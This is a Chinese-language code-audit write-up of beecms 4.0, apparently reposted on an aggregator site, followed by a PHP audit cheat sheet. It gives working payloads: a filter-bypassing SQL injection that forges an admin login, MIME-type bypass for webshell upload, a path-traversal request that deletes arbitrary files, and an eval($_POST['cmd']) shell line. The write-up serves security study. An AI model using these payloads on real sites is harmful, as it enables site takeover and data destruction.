[代码审计] beecms 4.0 漏洞总结
Posted 封于修x
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[代码审计] beecms 4.0 漏洞总结相关的知识,希望对你有一定的参考价值。
目录
beecms 4.0 后台存在多个漏洞,登录页面存在一个 SQL 注入,可以伪造账号登录到后台,后台的管理功能存在文件上传和任意文件删除。
找到后台之后的 getshell 思路:利用 SQL 注入伪造账号登录到后台,然后上传 webshell。
cms 脉络
程序目录结构
把网站的目录和文件分为基础功能和用户功能两类,基础功能的主要:
- admin 后台管理模块
- data 网站数据缓存目录
- includes 基础功能或基础类,比如 mysql 连接类、smtp 类、模板加载类
- template 静态文件目录
- upload 上传文件目录
- index.php 首页
用户功能包括网站呈现给用户使用的应用功能,或者是辅助功能,这些目录包括:
其他功能模块目录:
- ckeditor 富文本编辑器
- alone
- article 文章相关功能
- book
- down
- job
- member
- mx_form 留言、订单、联系等表单处理
- product
- search 搜索
- sitemap
beecms 是一个老 cms,网站程序没有用到 MVC。这种"传统"的 cms 是各个功能模块的代码分散在自己的文件中(如果代码量比较多,还会拆分成几个文件),功能模块之间基本没有紧密的关联,也没有基础功能将它们结合在一起,想访问什么功能就直接 URL 访问对应的文件。根据这点,攻击者可以直接访问一些页面上没有呈现,或者说是被“遗落”的功能。而对于 MVC 网站,因为它有路由,限定用户所能访问的功能。
审计思路
对于这种 cms,我一般采用“通读重点文件”加“功能点定位”或“逆向追溯”的思路,重点在于几个文件,beecms 的 index.php:
define('CMS',true);
require_once('includes/init.php');
require_once('includes/fun.php');
require_once('includes/lib.php');
if(file_exists(DATA_PATH.'index_info.php'))include(DATA_PATH.'index_info.php');//首页配置缓存
$lang=isset($_GET['lang'])?$_GET['lang']:'';
$index_lang='';//默认首页语言
...
init.php 是网站程序的初始化文件,用于
- 加载全局的常量;
- 统一在入口处过滤输入数据;
- 加载 SMTP 类、MySQL 连接类和模板类等具有基础功能的类。
fun.php 包含常用的工具函数,例如:
- 上传文件处理函数;
- 递归 addslashes() 函数;
- htmlspecialchars() 函数的封装;
- 检查登录函数;
- ....
lib.php 包含的是获取网站数据的函数,MySQL 连接类定义了增删改查等基础功能的通用接口(方法),lib.php 的函数就是封装了这些方法。例如:
- 获得客服信息
- 获得表单信息
- ...
这些重要文件被包含在用户功能文件的开头中,所以审代码时重点关注(init.php 先阅读,其他两个文件里面的函数被调用时再针对函数阅读)。
后台登录页面 SQL 注入
init.php 初始化文件中对 $GET、$POST、$REQUEST 和 $COOKIE 等用户数据的输入点做了过滤:
if (!get_magic_quotes_gpc())
if (isset($_REQUEST))
$_REQUEST = addsl($_REQUEST);
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
addsl() 是递归 addlashes() 转义数组,代码:
function addsl($value)
if (empty($value))
return $value;
else
return is_array($value) ? array_map('addsl', $value) : addslashes($value);
然而,在 admin/login.php 并没有包含 init.php,所以没有进行过滤,才导致 SQL 注入,登录功能的代码:
if ($action=='login')
// 显示登录页面
....
//判断登录
elseif($action=='ck_login')
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit))
msg('请从登陆页面进入');
if(empty($user)||empty($password))
msg("密码或用户名不能为空");
if(!empty($_sys['safe_open']))
foreach($_sys['safe_open'] as $k=>$v)
if($v=='3')
if($code!=$s_code)msg("验证码不正确!");
check_login($user,$password);
elseif($action=='out')
// 退出登录
....
$_POST['user'] 是用户名,作了两个函数处理,先看 fl_value():
function fl_value($str)
if(empty($str))return;
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\\%|\\=|\\/\\*|\\*|\\.\\.\\/|\\.\\/| union | from | where | group | into |load_file|outfile/i','',$str);
只替换一次有关 SQL 注入的敏感字符串,可以双写绕过。再看 fl_html():
function fl_html($str)
return htmlspecialchars($str);
XSS 漏洞的敏感字符过滤,htmlspecialchars() 函数默认只转义 &、< 和 >,对单双引号需要提供第二个参数,对 SQL 注入没有过滤的效果。
用户名 $user'和密码 $password 被传入到 check_login(),跟进:
function check_login($user,$password)
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel))
msg('不存在该管理用户','login.php');
$password=md5($password);
if($password!=$rel['admin_password'])
msg("输入的密码不正确");
if($rel['is_disable'])
msg('该账号已经被锁定,无法登陆');
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
这个函数用于账号密码的校验并将登录状态记录到 session 中,可以看到第一条语句就是 SQL 注入点,$user 直接拼接到 SELECT 查询语句中。
报错注入
直接 payload 测试:
' anselectd extractvalue(1,concat(0x7e,(database()))) #
这里用 "select" 插在 "and" 字符串中间,因为我发现 preg_replace() 过滤条件替换的是 " and "(左右两边有空格),结果:
伪造登录
SELECT 查询语句同时返回查询到的用户名和密码,而不是分开两次查询(先查询是否用户名,再查询密码),所以可以伪造 "admin" 账号返回的密码。
payload:
user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456
发送请求:
登录成功并跳转。
文件上传(一)
用”功能点定位“的方式审计文件上传,先在后台寻找上传点:
上传文件,然后抓包分析,发现请求地址是 admin/admin_pic_upload.php,到这个文件定位上传文件的处理功能:
if(is_uploaded_file($v))
$pic_info['tmp_name']=$v;
$pic_info['size']=$_FILES['up']['size'][$k];
$pic_info['type']=$_FILES['up']['type'][$k];
$pic_info['name']=$_FILES['up']['name'][$k];
$pic_name_alt=empty($is_alt)?'':$pic_alt[$k];
$is_up_size = $_sys['upload_size']*1000*1000;
$value_arr=up_img($pic_info,$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'),$up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);
//处理上传后的图片信息
$pic_name=$value_arr['up_pic_name'];//图片名称空
$pic_ext=$value_arr['up_pic_ext'];//图片扩展名
$pic_title = $pic_alt[$k];//图片描述
$pic_size = $value_arr['up_pic_size'];//图片大小
$pic_path = $value_arr['up_pic_path'];//上传路径
$pic_time = $value_arr['up_pic_time'];//上传时间
$pic_thumb = iconv('GBK','UTF-8',$value_arr['thumb']);//缩略图
$cate = empty($pic_cate)?1:$pic_cate;//图片栏目
//入库
$sql="insert into ".DB_PRE."uppics (pic_name,pic_ext,pic_alt,pic_size,pic_path,pic_time,pic_thumb,pic_cate) values ('".$pic_name."','".$pic_ext."','".$pic_title."','".$pic_size."','".$pic_path."','".$pic_time."','".$pic_thumb."',".$cate.")";
$mysql->query($sql);
先获取一些文件的基本信息,然后执行 up_img(),这个函数就是处理上传文件并移动的地方,跟进:
function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt='')
if(file_exists(DATA_PATH.'sys_info.php'))include(DATA_PATH.'sys_info.php');
if(is_uploaded_file($file['tmp_name']))
if($file['size']>$size)
msg('图片超过'.$size.'大小');
$pic_name=pathinfo($file['name']);//图片信息
$file_type=$file['type'];
if(!in_array(strtolower($file_type),$type))
msg('上传图片格式不正确');
$path_name="upload/img/";
$path=CMS_PATH.$path_name;
if(!file_exists($path))
@mkdir($path);
$up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
$up_file_name2=iconv('UTF-8','GBK',$up_file_name);
$file_name=$path.$up_file_name2.'.'.$pic_name['extension'];
if(file_exists($file_name))
msg('已经存在该图片,请更改图片名称!');//判断是否重名
$return_name['up_pic_size']=$file['size'];//上传图片大小
$return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名
$return_name['up_pic_name']=$up_file_name;//上传图片名
$return_name['up_pic_path']=$path_name;//上传图片路径
$return_name['up_pic_time']=time();//上传时间
unset($pic_name);
//开始上传
if(!move_uploaded_file($file['tmp_name'],$file_name))
msg('图片上传失败','',0);
.....
只做了文件大小和 MIME 类型的校验,所以能绕过,只需要 burpsuite 改一下 Content-Type 即可。
上传脚本后,接着是找到脚本的文件名和路径,这可以在 HTML 代码中找到:
拼接 upload 目录访问:
文件上传(二)
在我浏览后台所有的功能时,发现一个管理上传附件的功能,但是找到没有上传附件的按钮。这时,直接访问”上传附件“的页面即可:
与上传图片类似,上传附件的处理在一个 up_file() 函数中:
<?php
echo "Hello World !";?>
function up_file($file,$size,$type,$path='',$name='')
$return_arr=array();
if(is_uploaded_file($file['tmp_name']))
if($file['size']>$size)
msg('文件超过'.$size.'大小');
$pic_name=pathinfo($file['name']);
$file_type=$pic_name['extension'];
$return_arr['ext'] = $pic_name['extension'];
//扩展名
$return_arr['size'] = $file['size'];
//大小
if(!in_array($file_type,$type))
msg('上传文件格式不正确'.$file_type);
$path=empty($path)?CMS_PATH."upload/file/":CMS_PATH.$path.'/';
if(!file_exists($path))
@mkdir($path);
$name=$pic_name['filename'].'-'.date('YmdHis');
$name2=iconv('UTF-8','GBK',$name);
$file_name=$path.$name2.'.'.$pic_name['extension'];
$file_name2=$path.$name.'.'.$pic_name['extension'];
if(file_exists($file_name))
msg('已经存在该附件,请更改附件名称!');
//判断是否重名
unset($pic_name);
if(!move_uploaded_file($file['tmp_name'],$file_name))
msg('文件上传失败');
$return_name=str_replace(CMS_PATH,"",$file_name2);
//$return_name=CMS_SELF.$return_name;
$return_arr['file'] = $return_name;
//上传文件路径
$return_arr['time'] = time();
//上传时间
else
msg('文件不能为空');
//存储相关信息
return $return_arr;
做了文件大小和文件扩展名的校验,对于文件扩展名校验的绕过,可以在后台的“允许上传的文件类型”添加 php:
这样一来就能上传 php 脚本了。
任意文件删除+重装漏洞
全局搜索 ”unlink“ 关键词,在 admin/admin_ajax.php 处找到一处代码:
define('IN_CMS','true');
include('init.php');
$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];
$lang = $_REQUEST['lang'];
$value=$_REQUEST['value'];
if($action=='lang_tag')
...
//排序
elseif($action=='order')
...
//判断频道标示
elseif($action=='check_channel')
...
elseif($action=='check_table')
...
//开启关闭
elseif($action=='is_show')
...
//删除图片
elseif($action=='del_pic')
$file=CMS_PATH.'upload/'.$value;
@unlink($file);
die("图片成功删除");
//修改图片alt
elseif($action=='change_pic_alt')
...
//其它操作
else
die('没有参数');
echo PW;
if 多条件分支结构根据 action 参数定位到对应的增删改查等功能,对于这种代码,直接审计某个功能的条件分支即可,反正 action 参数是可控的,能执行到目标代码处。
可以看到 $file 参数是一个拼接的文件路径,再追溯 $value 是否可控,发现 $value 由 $REQUEST['value'] 直接赋值。然而,重点是开头包含的 init.php 文件里面是否对参数进行过滤。经过审计,发现没有字符串替换或者其他处理,所以可执行任意文件删除。
payload:
/admin/admin_ajax.php?value=../test.php&action=del_pic
结果:
删除成功。
配合这个漏洞,如果目标网站没有删除 install 目录,那么就可以删除掉 install.lock 文件,然后访问 install 目录执行重装功能。不过,在重装时写入的数据库配置信息经过 addslashes() 转义,并且配置文件的代码用了单引号:
如果是双引号,可以写入 $ eval($_POST['cmd']),而这里是单引号,所以无法 getshell。但是,可以造成 SQL 二次注入:
不过,数据库都重装了,即使能获取原来数据库表的数据,操作也相当繁琐。
php代码审计小总结
php代码审计小总结
命令执行
php代码执行
- eval()
- assert()
- preg_replace + ‘/e’
- call_user_func()
- call_user_func_array()
- create_function
- array_map()
系统命令执行
- system()
- passthru()
- exec()
- pcntl_exec()
- shell_exec()
- popen()
- proc_open()
- `(反单引号)
- ob_start()
- escapeshellcmd() // 该函数用于过滤
文件上传
- move_uploaded_file()
- getimagesize() //验证文件头只要为GIF89a,就会返回真
文件删除
- unlink()
- session_destroy()
文件包含
本地文件包含
- require()
- include()
- include_once()
- require_once()
远程文件包含
- allow_url_include = on
文件读取
读文件
- hightlight_file($filename);
- show_source($filename);
- print_r(php_strip_whitespace($filename));
- print_r(file_get_contents($filename));
- readfile($filename);
- print_r(file($filename)); // var_dump
- fread(fopen(filenam**e,”r”),filename,”r”),size);
- include($filename); // 非php代码
- include_once($filename); // 非php代码
- require($filename); // 非php代码
- require_once($filename); // 非php代码
- print_r(fread(popen(“cat flag”, “r”), $size));
- print_r(fgets(fopen($filename, “r”))); // 读取一行
- fpassthru(fopen($filename, “r”)); // 从当前位置一直读取到 EOF
- print_r(fgetcsv(fopen(filenam**e,”r”),filename,”r”),size));
- print_r(fgetss(fopen($filename, “r”))); // 从文件指针中读取一行并过滤掉 HTML 标记
- print_r(fscanf(fopen(“flag”, “r”),”%s”));
- print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
列目录
- print_r(glob(“*”)); // 列当前目录
- print_r(glob(“/*”)); // 列根目录 print_r(scandir(“.”));
- print_r(scandir(“/“));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\\n";}
超全局变量
变量覆盖
- extract()
- import_request_variables()
- parse_str()
- mb_parse_str()
- 全局变量覆盖:register_globals为ON,$GLOBALS
php序列化函数
- serialize()
- unserialize()
- ini_set(‘session.serialize_handler’, ‘php_serialize’);
Reference
以上是关于[代码审计] beecms 4.0 漏洞总结的主要内容,如果未能解决你的问题,请参考以下文章
“OWASP Top 10 2017”之外常见漏洞的代码审计